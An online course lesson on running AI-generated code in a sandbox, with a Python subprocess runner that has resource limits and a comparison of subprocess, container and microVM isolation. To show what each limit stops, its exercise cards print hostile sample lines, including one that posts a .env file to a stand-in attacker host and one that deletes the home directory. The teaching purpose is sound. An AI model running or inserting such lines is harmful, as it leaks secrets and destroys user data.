Pranav Srivastava

11 lessons

0/11 done
Lesson 5 of 11·10 min·Intermediate
410 min

The Sandboxed Runtime

What you will learn
  • Explain why model-written code is a different risk from a fixed tool call
  • List the four things a sandbox must limit
  • Run untrusted code with real limits in Python
  • Choose between a subprocess, a container, and a microVM

The scare

Pip is good at answering questions. Lumen & Co's owner asks for more: "Can Pip look at the sales spreadsheet and tell me which products are dying?" Sensible. To do it, Pip writes a Python script and the harness runs it.

Look at what changed. Before, Pip could only use tools you had built, each with a fixed shape. Now Pip is writing programs. A program can read any file the process can read, open network connections, run forever, and eat all the memory. The model does not need to be malicious. It just needs to write shutil.rmtree while "tidying up", or to pip install something odd it half-remembers.

Refresher: a tool call versus a program

Tool callGenerated code
ShapeFixed, you designed itAnything Python can do
ReviewGateway can check itNobody read it
Worst caseWhatever that one tool doesWhatever the process can do

That last row is the reason this pattern exists. When the model can write code, the worst case stops being "one tool misfires" and becomes "the whole machine".

The pattern

Run generated code somewhere the worst case is "the sandbox got messy, throw it away."

What a sandbox limits
  generated code ──►┌─────────────── sandbox ────────────────┐
                    │ filesystem : one scratch dir, nothing  │
                    │              else visible              │
                    │ network    : off (or an allowlist)     │
                    │ resources  : CPU, memory, wall-clock   │
                    │ secrets    : none inside               │
                    └────────────────────────────────────────┘
                              output only ──► back to the agent

Try it

Five things an agent might plausibly write. Everything starts unprotected. Switch limits on until every card goes green, and notice which limit rescues which snippet.

Five things an agent might write. Switch the limits on.
  • Sum a column

    print(sum(row['total'] for row in rows))

    🛡 Does exactly what it says. No limit needed.

  • Tidy up files

    shutil.rmtree(os.path.expanduser('~'))

    💥 Deletes the home directory of whoever runs it. If that is your server, it is your server.

  • Phone home

    requests.post('https://evil.example', data=open('.env').read())

    💥 Sends your .env file to a stranger.

  • Infinite loop

    while True: pass

    💥 Pins a CPU core forever and the run never returns. You pay for the wait.

  • Memory hog

    x = [0] * 10**11

    💥 Eats RAM until the machine slows to a crawl or the process gets killed.

The secrets one is the one people forget. If the sandbox has no credentials in it, a compromised sandbox has nothing to steal.

Build it

A teaching version, not a security guarantee. It shows the shape: a separate process, a time limit, a memory limit, a throwaway directory, an empty environment.

import resource, subprocess, sys, tempfile, textwrap

def limit():
    resource.setrlimit(resource.RLIMIT_CPU, (5, 5))                    # 5 CPU seconds
    if sys.platform.startswith("linux"):                               # macOS ignores this one
        resource.setrlimit(resource.RLIMIT_AS, (256 * 1024 * 1024,) * 2)   # 256 MB

def run_untrusted(code: str, timeout=10):
    with tempfile.TemporaryDirectory() as scratch:
        try:
            p = subprocess.run(
                [sys.executable, "-I", "-c", textwrap.dedent(code)],
                cwd=scratch, capture_output=True, text=True,
                timeout=timeout, preexec_fn=limit, env={},   # empty env: no secrets
            )
            return {"ok": p.returncode == 0, "stdout": p.stdout[-2000:], "stderr": p.stderr[-2000:]}
        except subprocess.TimeoutExpired:
            return {"ok": False, "stderr": "timed out"}

print(run_untrusted("print(sum(range(10**6)))"))
print(run_untrusted("while True: pass"))

The second call gets killed by the limits. (The memory cap only works on Linux; on a Mac you get the CPU and time limits, which is fine for trying it out.) Also notice [-2000:]: the agent receives a bounded amount of output, not an unlimited stream.

Picking the isolation level

OptionIsolationStartupUse when
Subprocess with limitsWeak: shares the kernel and machineInstantYour laptop, your own code
Container (Docker)Medium: shared kernel, separate viewAbout a secondInternal tools, moderate risk
MicroVM or hosted sandboxStrong: separate kernelUnder a second on modern servicesCode influenced by strangers

Rule of thumb: the less you trust where the code came from, the further the isolation should sit from your own machine. Code written by a model that just read a web page counts as "influenced by strangers".

When it goes wrong

  • A sandbox with network access "just for pip install". That is a door. Pre-build the image with the libraries you want.
  • Sharing a sandbox between users. One person's files become another's. Fresh sandbox per task, or per user at minimum.
  • Forgetting the output. A sandbox can be perfect and the agent can still be handed a 500 MB string. Cap it.
  • Trusting the sandbox with secrets. If the code needs an API, pass a short-lived token, not your master key.

Where it connects

The sandbox is what the Tool Gateway hands work to when a tool is "run code". The Cost Governor supplies the wall-clock cap, and the Trace Pipeline records what ran.

Chapter summary
  • Generated code is open-ended, so it needs a boundary a fixed tool call does not
  • Limit filesystem, network, resources, and secrets
  • Return bounded output to the agent, never a raw stream
  • Match isolation strength to how far you trust the code's source
Check your understanding
  1. Your sandbox has no network but your OPENAI_API_KEY is in its environment. What is still at risk?
  2. Which isolation level would you pick for an agent that runs code from a stranger's uploaded notebook, and why?

Finished this lesson?

Mark it done — your progress is saved automatically.